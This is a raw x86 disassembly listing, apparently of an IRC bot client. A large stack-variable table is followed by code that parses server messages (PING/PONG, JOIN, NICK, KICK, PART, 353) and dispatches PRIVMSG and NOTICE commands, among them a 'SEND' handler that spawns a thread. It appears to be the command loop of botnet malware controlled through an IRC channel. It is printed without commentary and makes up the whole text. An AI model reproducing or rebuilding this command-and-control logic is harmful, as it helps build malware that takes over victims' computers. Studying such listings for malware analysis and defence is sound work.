var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= byte ptr -3494h
var_3414	= byte ptr -3414h
var_3394	= byte ptr -3394h
var_3314	= byte ptr -3314h
var_3294	= dword	ptr -3294h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= byte ptr -3280h
var_3200	= byte ptr -3200h
var_3180	= byte ptr -3180h
var_3100	= byte ptr -3100h
var_3080	= dword	ptr -3080h
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= byte ptr -306Ch
var_2FEC	= byte ptr -2FECh
var_2F6C	= byte ptr -2F6Ch
var_2EEC	= byte ptr -2EECh
var_2E6C	= dword	ptr -2E6Ch
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= byte ptr -2E5Ch
var_2D58	= dword	ptr -2D58h
var_2D54	= byte ptr -2D54h
var_2C50	= byte ptr -2C50h
var_2B4C	= dword	ptr -2B4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= byte ptr -2B40h
var_2AC0	= dword	ptr -2AC0h
var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AAC	= byte ptr -2AACh
var_2994	= byte ptr -2994h
var_2914	= dword	ptr -2914h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= byte ptr -28FCh
var_287C	= byte ptr -287Ch
var_277C	= byte ptr -277Ch
var_267C	= dword	ptr -267Ch
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= byte ptr -2654h
var_25D4	= byte ptr -25D4h
var_24D4	= byte ptr -24D4h
var_23D4	= dword	ptr -23D4h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= byte ptr -23ACh
var_232C	= byte ptr -232Ch
var_22AC	= byte ptr -22ACh
var_222C	= dword	ptr -222Ch
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= byte ptr -2218h
var_2198	= byte ptr -2198h
var_2118	= byte ptr -2118h
var_2098	= dword	ptr -2098h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= byte ptr -2084h
var_2004	= byte ptr -2004h
var_1F84	= byte ptr -1F84h
var_1F04	= dword	ptr -1F04h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= byte ptr -1EF0h
var_1DF0	= byte ptr -1DF0h
var_1D70	= dword	ptr -1D70h
var_1D68	= dword	ptr -1D68h
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D4C	= byte ptr -1D4Ch
var_1D38	= byte ptr -1D38h
var_1C34	= byte ptr -1C34h
var_1BB0	= dword	ptr -1BB0h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B98	= byte ptr -1B98h
var_1B84	= byte ptr -1B84h
var_1A80	= byte ptr -1A80h
var_1A00	= dword	ptr -1A00h
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= byte ptr -19E8h
var_1968	= byte ptr -1968h
var_1928	= byte ptr -1928h
var_1828	= dword	ptr -1828h
var_1824	= dword	ptr -1824h
var_1818	= dword	ptr -1818h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= byte ptr -180Ch
var_17D4	= byte ptr -17D4h
var_17B8	= byte ptr -17B8h
var_1780	= byte ptr -1780h
var_177C	= byte ptr -177Ch
var_16FC	= byte ptr -16FCh
var_16BC	= byte ptr -16BCh
var_162C	= dword	ptr -162Ch
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= byte ptr -1618h
var_1598	= byte ptr -1598h
var_1518	= dword	ptr -1518h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= byte ptr -1508h
var_14F8	= byte ptr -14F8h
var_1478	= byte ptr -1478h
var_13F8	= dword	ptr -13F8h
var_13F0	= dword	ptr -13F0h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= byte ptr -13D8h
var_1358	= byte ptr -1358h
var_12D8	= byte ptr -12D8h
var_1258	= dword	ptr -1258h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1234	= byte ptr -1234h
var_11B4	= byte ptr -11B4h
var_1134	= dword	ptr -1134h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1124	= dword	ptr -1124h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1114	= dword	ptr -1114h
var_1110	= byte ptr -1110h
var_1090	= byte ptr -1090h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1000	= dword	ptr -1000h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= byte ptr -0FECh
var_F6C		= dword	ptr -0F6Ch
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= byte ptr -0F58h
var_ED8		= dword	ptr -0ED8h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= byte ptr -0EC4h
var_E44		= dword	ptr -0E44h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= byte ptr -0E34h
var_E24		= byte ptr -0E24h
var_E04		= byte ptr -0E04h
var_D84		= dword	ptr -0D84h
var_D80		= byte ptr -0D80h
var_D00		= byte ptr -0D00h
var_C80		= dword	ptr -0C80h
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= byte ptr -0C5Ch
var_BDC		= dword	ptr -0BDCh
var_BD8		= dword	ptr -0BD8h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= byte ptr -0A90h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 568Ch
		call	sub_41C500
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41BF70
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BFD0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401F75
		push	esi
		lea	eax, [ebp+var_428C]
		push	ebx
		push	eax
		call	sub_41BF70
		dec	esi
		lea	eax, [ebp+var_428C]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_428C]
		push	offset asc_42CDC4 ; " :"
		push	eax
		call	sub_41C2E0
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_428C]
		push	esi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BFD0
		mov	esi, offset asc_42CDC0 ; " "
		lea	eax, [ebp+var_4EF8]
		push	esi
		push	eax
		call	sub_41CAD4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401F75
		cmp	[ebp+var_8C], ebx
		jz	loc_401F75
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BFD0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_C4]
		push	offset asc_42CDBC ; "!"
		push	eax
		call	sub_41CAD4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	esi
		push	offset a005	; "005"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097D7
		push	esi
		push	offset a302	; "302"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41BFD0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40AE84
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9A
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E04]
		push	esi
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD50
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401F75
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E8D:				; CODE XREF: sub_401ACD+5F6j
					; sub_401ACD+8B9j ...
		push	[ebp+arg_4]
		call	sub_409823
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_401E9A:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FDD
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC3:				; CODE XREF: sub_401ACD+448j
		lea	eax, [ebp+var_E04]
		push	eax
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F10
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F10
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41C890
		push	[ebp+arg_1C]
		push	edi
		call	sub_41C8A0
		add	esp, 10h
		mov	edi, 80h


loc_401F10:				; CODE XREF: sub_401ACD+407j
					; sub_401ACD+41Ej
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC3
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	short loc_401F75
		cmp	[ebp+arg_24], ebx
		jz	short loc_401F75
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F4D
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41BFD0
		jmp	loc_4036A2
; ---------------------------------------------------------------------------


loc_401F4D:				; CODE XREF: sub_401ACD+46Cj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F52:				; CODE XREF: sub_401ACD+4A6j
		cmp	[edi], bl
		jz	short loc_401F69
		lea	eax, [ebp+var_E04]
		push	eax
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F7D


loc_401F69:				; CODE XREF: sub_401ACD+487j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F52


loc_401F75:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401F77:				; CODE XREF: sub_401ACD+2A1Ej
		pop	eax


loc_401F78:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A40j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401F7D:				; CODE XREF: sub_401ACD+49Aj
		lea	eax, [ebp+var_E04]
		push	21h
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_401F75
		push	eax
		call	sub_41B9C0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41B9C0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	short loc_401F75
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_45F0]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_401F75
; ---------------------------------------------------------------------------


loc_401FDD:				; CODE XREF: sub_401ACD+3DCj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401FFF
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402026


loc_401FFF:				; CODE XREF: sub_401ACD+51Fj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402004:				; CODE XREF: sub_401ACD+557j
		cmp	[edi], bl
		jz	short loc_40201A
		push	[ebp+var_90]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402067


loc_40201A:				; CODE XREF: sub_401ACD+539j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402004


loc_402026:				; CODE XREF: sub_401ACD+530j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020C8
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40205A
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40205A:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_80]
		push	offset unk_42CCFC
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_402067:				; CODE XREF: sub_401ACD+54Bj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CCDC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41CA50
		add	esp, 18h
		test	eax, eax
		jnz	loc_401F75
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_4020C8:				; CODE XREF: sub_401ACD+56Dj
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41CA50
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40211C
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40211C
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644
		cmp	dword_429088, ebx
		jz	loc_409644


loc_40211C:				; CODE XREF: sub_401ACD+615j
					; sub_401ACD+627j
		push	[ebp+var_8C]
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022A2
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022A2
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_402160:				; CODE XREF: sub_401ACD+891j
					; sub_401ACD+8CDj ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42CCC0
		mov	[ebp+arg_8], eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40253B
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402402
		cmp	[ebp+var_A4], ebx
		jz	loc_4023DB
		push	[ebp+esi+var_88]
		mov	edi, offset aS_2 ; "%s"
		lea	eax, [ebp+var_1B84]
		push	edi
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_1B98]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41C266
		push	[ebp+esi+var_80]
		call	sub_41C159
		mov	[ebp+var_1A00],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1BA0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F4],	eax
		lea	eax, [ebp+var_1A80]
		push	eax
		lea	eax, [ebp+var_1B84]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CC84
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_19FC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1BA0]
		push	ebx
		push	eax
		push	offset sub_416563
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
